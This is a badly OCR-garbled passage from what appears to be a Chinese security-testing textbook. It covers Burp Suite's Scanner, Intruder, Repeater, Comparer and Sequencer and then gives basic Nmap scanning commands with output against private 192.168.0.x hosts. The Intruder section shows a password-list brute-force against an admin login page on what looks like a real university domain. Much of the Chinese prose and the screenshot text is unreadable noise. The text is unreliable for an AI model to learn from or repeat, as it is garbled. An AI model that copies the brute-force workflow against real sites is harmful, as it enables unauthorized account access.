"B Surp Suite Prolessionl v1 741 - T inct - licomaed 1o Larry_ Lou e e
&  CRRESSTE, LS

B winader Sapester  Vndew ey
- [ soun [ e | it | savmae | soncr | Oveome | compurs | tatmner | et syt | e sgons [ e |

Flter Mi0ng et unt ema hiing CS5. mape 80 general Simary Comtent. NONG XX TRE00REN. Ity empty foksers

E13-26 ¥EEEE
tE]LATEProxy RRIHTTP historyr, EEENT R EHBEHEURLFATEF
Do an active scanif{7i3i#, WE3-27f7.
XA, Burp ScannerfHiaIHH, TEScannerFE MUHRIIBRIRER,
WNEI3-28Ff7.
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B Burp Suite Professional v1.7.11 - Temporary Project - ficensed to Larry_Lau

ol b

| Bup neuser Repester Wedow Hew

‘ m;:E—’FT;Tmm&TGQL-W]

|'nr»..:< E mu-vyl Optons

| PRer miang 55 mage and generss bnary content
{ -

| Memos | R

|

[Leng | wmse bype | Extenaco | Tue

Reeove rom scope

GET /corporate_a asp?
Host: www. sunbridgegr
Usec-Agent: Momillass| Wghlgat
Accopt: taxt/beal,app! Delste tem
Accept-Language: h-C
Accopt-Encoding: guip)] TP ey
Beferer: hutp://www sy CopyURL
Cookie
Connection: close
Upgrade-Insecure-Requ

=il
t(olf

2 LS ~p ——
1650 WL ot Bt
fas !

»isseo

BE3-27 Fam3iE
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L ot et 9’*—— _m. ComOnse_s s
MMZNARBDT e ot Y 5 s - EET

MUCHAG T - u-——? '“-~ '
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P et - b
| o e e e e e e e e Ly
E"'"l‘“"'ﬂ""‘"""'
- —ype .| o | - il
. m."- “~ ‘m*“ R B R
3 R L RAE U ke d . -
4 NRONANRT e A S {31
L £ W s et enart - wwn amartgey  warpares s e
T MREATART et TV unes ovacognsed chervet MRS SNy egve {31 of
3
L]
.

e B i

e

Cortiwcn  Towtabnw

o S e oo group Com
. et s onp

E3-28 EFTEEFR
BNl ERRER RS REHTOERS, BEA X repeaterfith
PR TIRRIRR S TAILIE, WE3-29F 7.
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7 8rp tte sl 11715 Jompoy oot - bremmnd 4 Lovy S S R T TS TS R T

bes v tmewe mae ey

E | s | S | i | S | S | unnt | o | ot | o s | o somn | s |

SOy St by T

Ef
&

;i
i

i
issove

R

ERACE

(i

-

E3-29 EixFlrepeatertEin
HscanneridfiEmk/a, LG EBurp Targetub it EIAIN FHUGEE, #HOX
¥EHE “issues” — "Report issues” I, ARSHEERS, ME3-30f 7.
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Sl T souer | Scommer | sarter | Aapector | Soquencer | Docoser | Comporr | Extonter | sromct opsoon | oar apsars | Ants

I T —

| FRer Maing not found tems. hding CSS mage and genersl binary Content hang dux resgonses  hang empty folders

» MG AW NOSC "uCT omede o™ Ooments
» g ige mroue® com =
. MRS A rBCIOSREE Com E Response I
VoM P ww surerdgegom com
D { Handers | riex
D cwrennd O ys-2
D contactad e S :‘..ll"'""' con
» € comorate Soaer trom nere faage . en
D noex s Do a0 sctve scen o
D orodctad g mrnder cotel
D st gogio Repester CriR
D ssexae Send e S
|P IR gendto Comparer
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E3-30 BHIBREIRS
pe R RERE MmN REE, SRUE3-31F7.

2

B ——
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Burp Scanner Report (5] BurP

Summary

E3-31 gEER
A R ESERATOILAE SR Burp Scanner:EE2F EaRE I
I L Y S
1.5 (Active Scanning)

LEFAT ISR, BurpSRIN AAEHINEIF B PayloaditilFim

on A XFES NI ESTE AENERINNESIE, BiERSHIeE, BEA
THEEF IS, TEERT LU B ERR.

o ZREANERE, WIXSS. HTTPLEAN. BEEEM.

o [RSSIRAVRRE, WMSQLEAN. SiTEAN. EHER.

YIE—2KwR, BurpEiiliEt<igszinputts,, ASIRIEN ZRIEIEHTHE
. RS, BurpSERINBERKERSHTEN, AIRERREINHEI2E0
iTe, BUARTA, DIRRERENEN; NETERE, SQUEARF, Ik
SIREERNMIEEERERER, B4R RIE. Burpti@lidig+s

BHEIUEEH SEH e = %._
£

QY

S
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KEZEMARIERRESZE, NESHERER, BHEXBoolean(E. SEM
HIERRTHR, LIRS e mREERRE.
2 WEHE (Passive Scanning)

LEEREIIEENE, Burp ALEFAEINER, RENEBESHFENE
SFINER TN, NIRSHIENERR, XthiREe, BEEE TSN,
—RRIR, TIRRER RN B Z ALk,

o RN AARINZRIIES.

o FZ2McookielIEME, FINH/ P HitpOnlyiIZ 2R,

e cookielSBEIGR.

o EIHAS S LRS |FEitE.

o XEBEBMNESR, AEHEZN.

o SSLFRIFHIRNE 7.

o HRFIE.

o IRAERSENEHER.

o sessionSHEUAZSE4H.

o SRMSESIHEE, FIANAERIPHELE, EBFAREE, MRS S RIME.

o AZEfViewStateAUELE.

o FEIRIAEAIContent-Typels<.

SAETIFEE B IR AREAR, ERNTEEEEIEAEEN
i BRyERSHNENERZS, YEISZENEEREBLmrlSiaan
HEELEER, sl IR I RS aRE, LU DR AIX S,

3.2.3.2 Intruder

IntruderB—MNEFINESEIESENTE, JLSWebNBREFHTEIMEIK
&, METRATHEERNE. IDHKFSHE, B, sQUIA, Bk, BXREHN
==

ERNTEFREL IntruderfEFIGIEREUENER F, BdEXESiEkesigh
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HAEAGSERNE. EE—XEKT, IntrudernBESIET— ) HE M BRIEHET
(Payload) , TEABENMIERTEGEER, BTN ELREILXI SR E R ENMSE
#E. Burp Intruden@E#HMNAT LI TER.

o TRRFHEE. Web RS EERRRAMAS IBREF. WP, &-S8UEE
2. fign, Bra. 4Dk S,

o REEHREHE. HRELIFET, AEHRMRAIEIRAST, MBEUE
BiRRRREMMEGE. fli0, BIREFPINAZTEIDIEEFERFPEENATENE
FHIFR.

o ERAN. FEESEMAENRRE ASQLEA. B4R U4 EEEiER)
AILUBER SR ST FGEH, HAorEiREEMEMSEER, RINHEE
FrifTiall. SZRTNERFINANMISEZRME, Faimx N2 — 5 BiREin
ig, RkelLlig&EPayload, @idBurp IntruderSaHLithxdWe b FRFE R T150M
it

NEHEEAH F IntrudertE USRI IO TFRS A REBR IR 5%, 21E
3-32ffrr, XBEAFHZRAEANTIR, ESEASREBTHMIELER. AHREMR
BERFNFE, BVESFNFRNE3-33/7r. FEISME, Burp Suitefld
NHEAERIER IR .
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RN » TERE (C) » tools » « [ |[ 2 tooi

Iy #1E0  ®R  wuss

£ sxEs =B
4 emderl.3.2 full 2017/2/20 F&52... ig=
4. nmap 2017/6/5 F56:56 Xit=
(o - § 4. php 2017/6/5 F56:36 Xig=
4 rolan2 2017/6/4 F512... Xig=
4. Tor Browser 2017/6/13 F&3... Xig=
£ Lhtml / 2017/6/26 F&1.. HTML X%
|| password.txt 2012/6/20 E51.. &S
| username.txt 2012/6/20 £l XAH

3)
Mac' (Z:

E3-33 =8
BESEEEREE A MlintrudertEity, WNE3-34F 7.

K

11
1L
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e wiorad y rres - Loy cau = —
M“w ndow M

‘11 Request ta Wiy S32< hpu ods on B0 [218 196 740 53]

At |
FOST Jadain/aduinlogin. asp HTTF/L L
Most: gnc hpu. edu on
nt ~Lengeh 40
i max-agesd
GUO. 0, Lnage/wabp, /% iqe0.0

Accepe

Oxbgin ey //gue hpu. Oﬁ--
Upgr ade - Insecure-Daquests

Uswr-Agent m&lmna;v.’mum Like Gacha)
Beterer: ” 7/gme hpu. edu. on/ adain/ adminlogin. asp
Acowps-Bacedingt guip, defiace

Q.TETI.IT1 Bafari/E37.36 5K I.X WewaSy 1.0

o -, =hiq=0, 8
Cookie unlul lxbwnlu PCIIMBBAAING
Connection: ele:
adminsliPassvordsldIbeatincer x=éé4 henine

E3-34 H@ 25 Blintruderiin
Burp 2B EESEHTIRC, iAPRATEtRC, AE3-35FT.

[ r————
S | S e e e e L e )
3
T Rt Bl
! . o
(.
£
3 =
\-!
-t
- - e

m3-35 ERimE
RIREEEHTRIBRENSHIE, Bpass2gutt, BE "Add$" 124,
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XERN—NSHHTRORE, AR ERsniperfln], {1E3-36FTR. XE
ESIENE, NEEERYEPSIMERH TR, ARG userilpass84],
FESEEZ Y cluster bombBTUHTRIIMAE.

e SnipertZ/FAE—[JPayloadH. ELFIIE MIBiIREPayload. Xit
WA AT R NimE RSk SH Rt TFuzzinglid B R. WETRREK
EHNNZE position#EFPayload# EAV3EA.

e Battering ramig{ {FHE—fJPayloadl. ELESPayloadH—)RIHE
FrEERIPayload INIEERINES. XN EERTEECEKPITEREEANK
FZNMMENES. 5 KNSR Payload8+ PayloadiUEE].

e Pitchforki#fEF%Z\PayloadH. Kh&EHIEFTARPayloadd, B
PayloadINEMNEMIHIES, XN ERE FEEGEARNEFREBANEE
BLEANER. BXRRIEENZE258/ MIPayload?AFfJPayloadZiE.

e Cluster bomb#E T &fEHZ PayloadH. BNEMKNEFEAEN
Payload. WEHEEREPayload, EfiPayloadHEEPSHMIA—E. XK
HEATEMEFRENEEMEXTERAMNKLENBR. KEEKNEHES
Payload?H9Payload#{ 2RI,

EE3-36 ithpassEE
TEEEERINNTH, WME3-37/7.
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Burp htruder Repesier Window Hep

It..-ls»a., Isnu |w!m}w[m]c-f&*[w~]um1m]

[rwe [ ] o

LZJ Payload Sets
You can Gefne one or more DaYI0ad sets The number of payload sets dependcs on the attack type defined m the Postons tab Varous payload types are ava

Paybadset |1 Payloed count 75,172 (approx)

Paybac type | Runtme file i Request count: 75,172 (spprox)

w Payload Options [Runtime file]
This payload type lets you configure & fle from sirings at runtme.
Selecttle | Ctoomipassword txt 1

L?J Payload Processing
You can define rules to perform various processing tasks on each payload before & & used

| Ass | Enadies | Rue

iy

(A | >
ity

E3-37 jkh=E
RETHAIRBH S HRIESR, WE3-38F7r.
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B 8urp Suite Professional v17.11 - Temporary Project - icensed to Lary_Lav s e s =
_Bup Repester Wnoow new —
Open savec atacx
Acteely scan defred neerton
Tard 5004 10 Repaster
Save aftach conly »
2 | Load attack confg
S Copy stisck contg
New tab behavior
Automanc pay©ad postons »
Configure predefned poyned ins

PEVSIITOY (RO TNy Request 75.172 (spprox)

1

of paytcad sets depends on the aftack type defined m the Postions tab Varous payload types are avalable for

75,172 (approx)

?I Payload Options [Runtime file]

This payload type lets you configure & fie om which 1o resd payad strings st runtime

| Selectfle.. | Coow\password tet

E3-38 FHAIEH
XExIStatusTiLengthfIREIERTHIF, EEEEBARZL. NESE,
BEEROSEEREFIEREY, NRRONGIESHEHEBNERAIIEE, Wik
BIEAWARMT), WE3-39F 7.
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Agack Save Cowurmna

[ Basuts | Target | Possons | payoes | optons |

Filter Showng ol tems

Request Payload
380 test

]

2 o

Errer

Hotve

302

=T

a2 O J
' Qe 02 a O
4 Q%8 w2 g e 121
§ root k- y - 2
3 SN 302 FiF]
7 SsecureS W2 FiF4l
6 SSRY a2 N
0 AMI a2 FiF4)
8 “Inogurs 02 O B
L (-t a2 21

E3-39 E&lengthfNEEE

3.2.3.3 Repeater

Burp Repeater—PNFali&. #NE M BIHTTPIER, FoHrEAIRRARY
TE. EEANEEHEEEEMBurp Suite TEEARREF. oJLUEBiribait
. Burp Proxyl!SicS. Burp IntruderfUBGHER, AixT|Repeater b, HFaNAE
X MNEICRX iR RN B I T,

Repeaters#TifEliG4fh: Raw, Params, HeadersflHex.

o Raw: B AIVAENINER. EAERNESDE —MNERMINSHTI
g2, AILRIEENRESERNT RS, NlEiEsS. AREREOONERHIA, 8
ERRRNOREE, DN EEEREENA 7B TEER.

e Params: JTHEE28%] (URLEEFIHFE. cookiellsiEHER) IS
K, ParamsEMSIEXLSHERAET/ENER, XERaILISR Ef1HTE
BEHT.

e Headers: BUUZF/BEIEAERHTTPRERL, HELUREGHEXEE
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=t
e Hex: AITEIERIERRE _HHEIREMRATEE.
EEEURERES, FRNELEFEHRepeaterf B K SIHMMNATEEIGIES
i, PRESGE RS2, WIESANRR,; BRGERkEas WIDBEEN, NEERE
ICRP, HHIMENE BRI TERER. ATEINEEE Repeater, WIE
3-40ff73s.

[ Burp Sute Professonal v17.11 - Temporary Project - icensed to Lary Lou sy e i s
Bup ninuder Repester Window Melp

s | #TT naory | weesocken natsry [ Otens |

| Reguest o hep igac hou ede cn B0 [213 196 240 55)

Forward Drop | emwegtmos | Ao

_[""T""'I."'""I'“I

ST /admin sdminls:
H- r -~

Send o Comparer

Sard to Decoder

Riacaeast o brewier .
Exgagement ook .
Change request method

Change Budy encedeg

Copy URL

Capy a8 cerl command

E3-40 Ei=ZIRepeater
FERepeaterlUR{ERES, LiIIRequest HIFIGHERX, HiAIResponse
ANEHEX, EKEEXBIEEFmARIEKEEANHRES. SR ES
BEKBEEE, BE "Go" EHRIRIASENERS R, ME3-41F k.
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E3-41 BiEER
NEHEX B NENMNIEKERSRE "GO &illls, RSMHIAIRHE
2. BHEXEKEEN2HCRI S AN S EHEZANES, R hsEanEi
SRS CIRFAENRER, ME3-42F7r.
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e
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7] E3-42 IS EERSTRSHNREES

% 3.2.3.4 Comparer

5.3 Burp Comparer{tBurp Suitedf FERH— e[ IULHIERILNThRE, X
N AR ENRE, EERKFAE:

s o KEAPEANTETS, MEOIESIATIIENE, RSHRRIEEENX
= 5.

7] o ERIntrudenft TR, XNTARRRSIHIEN, SILAMRRSHrHFRIRE
N

¥ R BITERE.

o HTSQUEANE AR, HREXIENEERNES, HIMMENEEST
NFERUKECR R,

EFComparerf B SR, SRR, WE3-43f7R, RaEESS
i, WEI3-44F.
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Mw |Swtss  Emor | Tmeout |Leagih | Comment
L} 200 o o 285 L‘?
1 S84521 200 o o] 285
2 noheck 200 o %] 8¢
3 45129946 200 a g s
“ Naciab 200 - — s
5 hackersd Resut a4 285
& hexisczi Do a0 actve scan 288
] 80 Do s passive scan »
s 630 Send to Intruder 25
’ 30 Send 1o Repeater 5
1 YUSHWUINES) | Gend to Sequencer 25 Al
L ] Send ts Comparer ( - 2]
Send to Comparer (response)
Show response N browser
Request n browser »
FOST /admin/adainlogin Generste CSRF PoC .
Host: gac.hpu.edu.cn | Asdw stemap
Content ~Length &7
Cache-Control: max-ageq [FQuestlemagen
Accept: text/heml,appi{ Define extract grep from response D.5, image/webp,*/*;qw0.0
Origin: heep://gue bpul cop comand
Upgrade-Insecure-Requed Sesut
User-Agent: Mozillass.{ Addcomment § OHTML, like Gecko) Chrome/4%.0.3623.231
Safari/837,.36 58 S.X MY pghight >
Content-Type: applicatd
Reterer: heep://gue. npy Dt lem
Accept~Encoding: guip, | Copyinks
Accept-Language: Eh-CH/ Sae pem
Cockie: ASPSESSIONIDQAR edog-tlow-itens v
Saer oy s S | waruder resuts hew
‘ 2 - - » T 0 matches

720 ot 108870 [

E13-43 ZuEnE
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PO e v 1P Tt 4 P e

E3-44 =554
Comparer#gRINENERH N0 M.
o NEfthBurp T EIBIT F FIGEREERITER.
o ESIEHANL.
o NIZHEENNEL.
INE=ER, NREERANEIEIRNESES, WA
. BRI USSR AR S T HR.
3.2.3.5 Sequencer
Burp Sequencer@—MATHIEIEFAIIERENTE. sJLIHEM
ooy BFFEFFHIZIESHE (Session token) | ZBEESHEAIMNEZR, B
T SequencerlUHHERANYT, BHRITHOMTRL X REIRITENING.
Burp Sequencer:FEH{EE&H! (Live Capture) . FaIIE, (Manual
Load) FOiIms#fr (Analysis Options) —=/{MEBR4ERE.
AEIEERE, BdloadiiNEEE, RaEd "Analyze now” #EiHiH
71, WE3-45FTR.

BHRSUEEHN TEHEo o = }-—
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B Saste Prodessonsl v 711 - Famponsry Projegt - bomnsed 1o Lay . - -
e

A T A A e e

s coct | smmnas | scovea somens |

e s e e e
-

fmy |

El3-45 SequenceriEEIEHA
3.3 Nmapi¥i#

Nmap (Network Mapper, WEIRSIER) E—FFHIRRIBHIMESRNFIZ
LHRTH. BHEIRTTARREAEATENS, SEEIRISEI. FRENE0E
. MERASNAEIRSIESCRE. WARRBIRENZSwRE. ENEEHRERE
Zenmap, SFHTAEZEADNmap.

NmapRERal M.

o THURM: HUMLS ERIEHL, FIHIBNTCPFIICMPIER, ICMPIEK,
FUER RO

o Um[1135E: HRUBERENFABERO.

o FRAK: FRMBERFHANIMSBES, HERSSRERAES.

o G BN BRENANRER G MM RIR AR,

o SZHIFNHIARRS : FHENmapfIBIAS|E (NSE) FLuafRiRiES.
3.3.1 ZENmap

—%mvﬁ#}mmm" FEW oo = §+_
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NmapfJ FEibhi Ahttps: //nmap.org/download.html, 275 NERIMRAS
2740, EEAEZENSIE MR 55000, ME3-46F7mn.

Please review the license terms before installing Nmap. (’j

Press Page Down to see the rest of the agreement.

COPYING -- Describes the terms under which Nmap is distributed.
IMPORTANT NMAP LICENSE TERMS

The Nmap Security Scanner is (C) 1996-2016 Insecure.Com LLC ("The Nmap Project”).

INmap is also a registered trademark of the Nmap Project. This program is free software;
you may redistribute and/or modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; Version 2 ("GPL™), BUT ONLY WITH ALL

OF THE CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your
right to use, modify, and redistribute this software under certain conditions. If you wish ~

If you accept the terms of the agreement, dick I Agree to continue. You must accept the
agreement to install Nmap.

soft Inst

((1agee | [ cancel |

E3-46 ZENmap
3.3.2 NmapA\jJ]

3.3.2.1 FEEH
FALEBRE, EHFEERTNmapslEEBIIRY (#Anmap——
help) E&nRNamplIFEiZNREINEE, WE3-47F 7.



BN S8 C\Windows\system32\cmd.exe

F: \Nmapo>nmap

map 7.489 ¢ https://nmap.org )

sage: nmap [Scan Typed(s)] [Options] {(target specification)

TARGET SPECIFICATION:
Can pass hostnames, IP add »s5, networks, etc.
Ex: scanme.nmap.org, nicrosoft.com/24, 192.168.0.1; 10.0.9-255.1-254
—iL <inputfilename>: Input from list of hosts/networks

A

iR <num hosts)>: Choose random targets
exclude <hostil,. host2][, host3],...>: Exclude hosts/networks
excludefile <{exclude_ file>: Exclude list from file
{OST DISCOUERY :
sL: List Scan simply list targets to scan
sn: Ping Scan disable port scan
-Pn: Treat all hosts as online — skip host discovery
PS/PA/PU/PY(portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
PE/PP/PN: ICNP echo, timestamp, and netmask request discovery probes
POlprotocol listl: IP Protocol Ping
-n/~R: Never do DNS resolution/fAlways resolve [default: sometimes])
~dns-servers <(servil,serv2],...>: Specify custom DNS servers
system-dns: Use 08's DNS resolver
traceroute: Trace hop path to each host
SCAN TECHNIQUES :
-5S/8T/sA/7sW/7sM: TCP SYN/Connect O)/RCK/Window/Maimon scans
sU: UDP Scan
sN/sF/sX: TCP Null, FIN, and Xmas cans
scanf lags <flags>: Customize TCP scan flags
s1 <zombie hosti:probeportl): Idle scan
: SCTP INIT/COOKIE-ECHO scans
IP protocol scan
b <FTP relay host>: FIP bounce
PORT SPECIFICATION AND SCAN ORDER:
p <port ranges>: Only scan specified ports
Ex: p22; -p1-65535; p U:53,111,137,7:21-25,80,139,.8080,5:9
exclude-ports <{port ranges>: Exclude the specified ports from scanning

A
||
e
b
7
2
'
7]
iz
7.3
A
i
St
%
i1
2]
T

F: Fast mode Scan fewer ports than the default scan

r: Scan ports consecutively don’'t randonize

top-ports <number)>: Scan <number’ most common ports

port-ratio <{ratio’>: Scan ports more common than <{ratio’>
SERVICE/VERSTON DETECTION:

sU: Probe open ports to determine services/version info

version—-intensity <{level)>: Set from B (light) to 9 (try all probes)
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e EEARERLG LR, TNE— FNmapfUEX2HINE Y SHE.
BN AiREIEBE R BRIECEE, W M.

o-iL: M\XHFHS A BirTHEBIiRMER.

o-iR: FEVLEFEBIREAL.

exclude: EERIIFHERMNEG NMESEEENA.

excludefile: SASUAFRITNEMBISATITETEF.

S5FINEIGREXNSE0T.

e-sL: List Scan (FIFEHH) , (NFIEEEBRMNIP, A TELAIL.

e-sn: Ping Scan, R#TEHAM, A TimOEMHE.

o-Pn: BABIEENTHNAUFEHE, BhdEIUEIIRNTE.

e-PS/PA/PU/PY [portlist] : fEFTCP SYN/ACKE,SCTP INIT/ECHOAGT,

o-PE/PP/PM: {EEICMP echo. timestamp. netmaskiE=k&&MFH.
¢-PO [protocollist] : ERIPHNYEIFIRTHEHESHES.

o-n/-R: -nFANHITDNSEET; -RENEHITDNSHEIT.
dns-servers<servl [, serv2] , ... >: I5TEDNSIRSES.
system-dns: EEEHZRESANIDNSIRSEE.
traceroute: JBEREMNEHTA.

SEDNHOEEGAERN2800T.

0-5S/sT/sA/sW/sM: I5TEEHTCP SYN/Connect () /ACK/Window/
Maimon scansBIA T Bl T3,

o-sU: ISREMEFUDPIRERI A REBRENAIUDPIRIHRIR.

o-sN/sF/sX: IETEEFITCP Null/FIN/Xmas scansBZ 30 A =0 Bz
X ATCPIRIRE.
scanflags<flags>: EHITCPERIflags.
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e-sl<zombie host [: probeport] >: igiEFEAIdle scanfyHTEEB R
Fil (AHREREHSGIENzombie host) .

e-sY/sZ: {EFSCTP INIT/COOKIE-ECHOIHSCTP MR AT RS,

e-sO: EFIP protocoliIEHHE Bl ISAIMMNYEEERL,

e-b<FTP relay host>: EFFTP bounce scani3ffi=t.

Bz 285 HEInFRIREEXNEEEN .

e-p<port ranges>: IFIEEMNIR.

o-F: Fast mode (BUEEL) , NHFETOP 10087iR .

o-r: AHTIROBBHIITELAVRIE (ANTDZ2EL, Nmap=KEERERIRALL
BENUIRFRRY S T3, A ENmaplS ARG EAS A ENE]) .
top-ports <number> : IFEFRIEEERESHINnuMmberM&L (Nmap
A EE S I BRI EERITE, LU EE im0 o] sEF auER, FHsl
HEEsEAMRORSIE, BARRII2nmap-services {4, ERAER T, Nmap
SERBERIEEAI 1000 TCPIRA)
port-ratio<ratio>: IFEfEEMEIL LK. 5 FiA——top-ports
0, XBLUERIEAZE, HRAT——port-ratiofiR A #ITH. SRS
10~ 1208, BT REANFEEER I ESnmap-services {4,

ShRARHEX 2200 M.

o-sV: IBTELENmapiFThiAl.
version-intensity <level> : IEEMAMTNABEE (0~9) , BN
7. HEES, RUBNES#SER, BRETHEsRK.
version-light: ISTEEFRRERMUNAT (intensity 2) .
version-all: ZiXfERBRIprobesi#{T{iilll (intensity 9) .
version-trace: BHFARIMRAMGIITRER.
ErEI 2R EE Y, BREAZ=EEE, HiEdndtEzl: Nmap




+ 1SR+ BiRtiaiER. il —R=E2HINmapAfEa SR,

nmap-T4-A-v ip

Hep-AFREFHIE (Aggressive) ATV, -T4ESEMIEER
MEdRE (Timing) , #£8614%3 (0~5) , H3lEs, HREESR, EhEZE0
KEESIDSKFT R, TEMBBERARFNER MNEFERT4. -VERTTIR
(verbosity) {58, MR RNIMAVMET, GBT AR 7 ELERIEEK

3322 #EGE
NmaplI2#&%, BREEERAATIHAZ, UTEEaEdEhRE
&<,
1.3 Bttt

ENmap/aEEZAIBREutRIeT i3, E3-48F7.
hmap 192.168.0.100

—-o%ﬂi'fﬁ)lﬁ}ﬁmﬁﬁ%" TEBW oo = }H
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F:\Nmap>nmap 192.168.0.1060

tarting Nmap 7.40 ( https://nmap.org > at 2017-86-11 18:28
INmap scan report for 192.168.0.100
Host is up (A.0811s latency).

shown: 992 closed ports
STATE SERVICE
open mnsrpc
open nethios—ssn
open microsoft-—ds
5357/tcp open wsdapi
9152/tcp open unknown
open unknown
open unknown
9155/tcp open unknown

INmap done: 1 IP address (1 host up) scanned in 1.35 seconds

[E13-48 i@/ BRI
2 3@z Binithit
AR BIREIEAEE—WER, RN ERNEEZBEHELRS, ILMERZ
FikdHTIaE, WE3-49F .
nmap 192.168.0.100 192.168.0.105
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7:\Nmap>nmap 192.168.0.100 192.168.0.105

Starting Nmap

7.48 ¢ https://nmap.org ) at 2017-86-11 18:38

scan report for 192.168.0.108
up {A.PAA18s latencyd.

Not shown: 992

closed ports

STATE SERVICE

open
open

open

53577tcp open
9152/tcp open
open

p open
9155/tcp open

Nmap scan repo
s up (8.
Not shown: 997 closed ports

STATE
open
open

msrpc
nethios—ssn
microsoft—ds
wsdapi
unknown
unknown
unknown
unknown

rt for 192.168.0.185
PA11s latency).

SERVICE

ssh

https
iss—realsecure

BC:A9:82:57:21:6A (Intel Corporated

21

P addresses (2 hosts up? scanned in 3.96 secon

E3-49 SmEA-Bintiett

33— NEERR B ittt
o] DsEE—MNESINER, FEtEAE - &R, i, MlsdrH

ESEEIN192.168.0.1

00 ~192.168.0.110, #NEI3-50Ff7=.

nmap 192.168.0.100-110



F:\Nmap>nmap 192.168.0.100-110

[Starting Nmap 7.40 ( https://nmap.org > at 2017-86-11 20:85 71
map scan report for 192.168.0.108
Hfost is up (B.08B62s latency).

shoun: 992 closed ports
STATE SERVICE
open mnsrpc
open nethios-ssn
open microsoft-ds
5357/tcp open wsdapi

49152/tcp open unknown
9153/tcp open unknown
9154/tcp open unknown
49155/tcp open unknown

map scan report for 192.168.0.102
ost is up (9.28s latency).
ot shown: 999 closed ports
STATE SERVICE
8A82/tcp open blackice—-alerts
AC Address: 74:AC:5F:2C:090:DA <(Qiku Internet Network Scienti

scan report for 192.168.0.105
is up (A.017s latency).
ot shown: 997 closed ports
PORT STATE SERVICE
22/tcp open ssh
443/tcp open https
9802/tcp open iss-realsecure
AC Address: BC:A9:82:57:21:6A (Intel Corporate)

a®
||
e
b
7
2
B
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iz
B
A
ik
S
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NN

map done: 11 IP addresses (3 hosts up) scanned in 25.44 seco

4 13 BRI AERTREARER




—-%Eﬁﬁ)lﬁ}ﬁmﬁﬁ%" TEBW oo = }-—

PACER A, tNRBEHRE—NMER, Nl UES A INFMERnoiEaE,
B S ENISOE9192.168.0.1 ~ 192.168.0.255, #1E3-51FAs.
nmap 192.168.0.100/24



m EEE: C\Windows\system32\cmd.exe

ost is up (B.18s latency)d.

ot shown: 998 filtered ports

PORT STATE SERVICE

B0./tcp open http

1988/tcp open upnp

AC Address: 34:96:72:12:85:54 (Tp-link Technologies)

map scan report for 192.168.8.182
st is up (B.13s latency)d.
ot shown: 999 closed ports
PORT STATE SERVICE
BA82 tcp open blackice-alerts
P4:AC:5F:2C:88:DA {(Qiku Internet Network Scientific (Shenzhen))

report for 192.168.0.183
up (A.865s latencyd.
nned ports on 192.168.08.183 are closed
F4:8B:32:71:2F:DF (Xiaomi Communications)

scan report for 192.168.8.185
is up (A.98812s latency).
shown: 997 closed ports
STATE SERVICE
open ssh
open https
open iss-realsecure

AC Address: BC:A9:82:57:21:6A (Intel Corporate)

map scan report for 192.168.0.188
s up (0.8028s latency).
shown: 992 closed ports
STATE SERVICE

135/tcp open msrpc

A
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139/tcp open mnethios-ss
open microsoft-ds
open wsdapi
open unknown
9153/tcp open wunknown
49154 /tcp open unknown
2155/tcp open wunknown

map done: 256 IP addres : (5 hosts up) scanned in 127.71




%ﬂmﬁ%mamm"ﬁﬂ»mwms§

5 1 EHFFtargets. txt-hAIFTE Bixiteit
Affitargets. et PAUMBLUEEWIER, HANSARIELEXTEER, 1R targets.txt
M Snmap.exeffA—PMEZR T, WEES |HUEZEIR], AE3-52F7-.
nmap-iL C: \Users\Aerfa\Desktop\targets.txt

F:“\Nmap>nmap —il C:\Users™RerfaDesktop’targets.txt

Starting Mmap 7.48 ¢ https://nmap.org 2 at 2817-86-11 28:48 7

Nmap scan report for 192.168.0.108
ost wp (B.0012s latencyd.

ot shown: 992 closed ports

PORT STATE SERVICE

135/tcp open mEPrpe

139/tecp open nethios—-ssn

445 /tep open nicrosoft-ds

5357/tcp open wsdapi

49152/tcp open unknown

49153/tcp open unknown

49154/tcp open unknown

49155/tcp open unknown

map scan report for 192.168.8.185
Host is up <(B.836s latencyd.
INot shown: 997 closed ports
STATE SERVICE

map done: 2 IP addresses (2 hosts up? scanned in 2.63 secondg

El3-52 HifigE s
6. 13 E— Btz SMOFRE Bixibht
TS FI31E#R192.168.0.105 2 SMNJUE{h192.168.0.xithE, MIFHELS
SEERLISER1192.168.0.1053H 7131, 21E3-53F k.
nmap 192.168.0.100/24-exclude 192.168.0.105



%ﬂﬁﬁ%mamm"ﬁﬂ»mwms§

BN BTES: C\Windows'\system32\cmd. exe ||| ==
AC Address: 74:AC:5F:2C:88:DA (Qiku Internet Network Scientific (Shenzhen)>

.168.8.183

open
open

open

open &

open  unknoun

tAF:78:92:B8:CB <{Hon Hai Py on Ind.>

report for 192.168.0.160

open
open

open

open

open §
open unknown
open  unknoun
open  unknoun

map done: 255 IP addresses <5 hosts up? scanned in 292.23 seconds

E3-53 SEkE—Bintht =~ SM9pha Binttnt
7 FERE UG Bttt SN0 B it it
TSI TR T target. txt S B AU ER 2 SNK) B iRits
ARELAH192.168.0. xMEL A, Trtargets.txtFiZiN192.168.0.100%]
192.168.0.105, MIHREEERECEIFNZTEENE, WE3-54Tr.
nmap 192.168.0.100/24-excludefile C: \Users\Aerfa\Desktop
\targets.txt



EREHEENE Fedtcoe =

2

L7

ludefil

imap.org ) at 2017-86-11 28:52

upnp
34:96 2:85:54 (Tp-link Technolegi

for 192.168.0.182
latenc

ientific (Shenzk

:92:88:CB {Hon Hai Precision Ind.>

map done: 254 IP addres ¢3 hosts up? scanned in 139.98 seconds

E13-54 SEksE SRR B it = S B iRt
8.1 —BithiAg21, 22, 23, 80¥xM
ERAFRE BtrEH T2ROEE, RRRNEESTRT E—iw0, 3
LER-pRHdEERIS, BARHIEERE, ME3-55/7.
nmap 192.168.0.100 —p 21, 22, 23, 80
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F:\Nmap>nmap 192.168.0.1080 -p 21.,22,.23.80

map scan report for 192.168.8.108
fost is up (B.BPP67s latency).
STATE SERVICE
closed ftp
closed ssh
closed telnet
closed http

map done: 1 IP address (1 host up) scanned in

E3-55 SiEisEin0
9.xf Bttt HTEE hIRER
Mlas$Faod Bt TR R, AE3-56F7r.
traceroute 192.168.0.105

nmap

1.

1 'l"

Starting Nmap 7.48 ( https://nmap.org 2> at 2017-86-11 21:00

seconds




%ﬂmﬁ%mamm"ﬁﬂ»mwms§

F: \Nmap>nmap traceroute 192.168.0.1085

starting Nmap 7.48 ( http ‘/nmap.org > at 2017-86
map scan report for 192.168.08.105
lost is up (B.832s latency).
shouwn: 997 closed ports
STATE SERVICE
open ssh
open https
open -realsecure
